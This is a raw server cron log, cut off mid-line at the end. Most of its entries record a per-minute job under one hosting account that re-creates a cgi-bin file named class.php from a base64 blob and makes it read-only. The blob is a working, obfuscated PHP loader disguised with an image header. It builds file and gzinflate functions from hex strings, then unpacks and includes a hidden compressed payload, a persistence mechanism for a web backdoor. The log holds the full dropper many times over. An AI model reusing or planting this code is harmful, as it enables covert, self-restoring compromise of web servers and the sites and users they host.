Nov 10 11:46:01 server CROND[6779]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:47:01 server CROND[7603]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:48:01 server CROND[8416]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:49:01 server CROND[9496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:50:01 server CROND[10391]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 11:50:01 server CROND[10393]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 11:50:01 server CROND[10394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 11:50:01 server CROND[10395]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:50:01 server CROND[10396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 11:51:01 server CROND[11236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:52:01 server CROND[11918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:53:01 server CROND[12736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:54:01 server CROND[13653]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:55:01 server CROND[14469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:55:01 server CROND[14470]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 11:55:01 server CROND[14468]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 11:56:01 server CROND[15446]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:57:02 server CROND[16291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:57:02 server CROND[16292]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 11:58:01 server CROND[17095]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:59:01 server CROND[17911]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 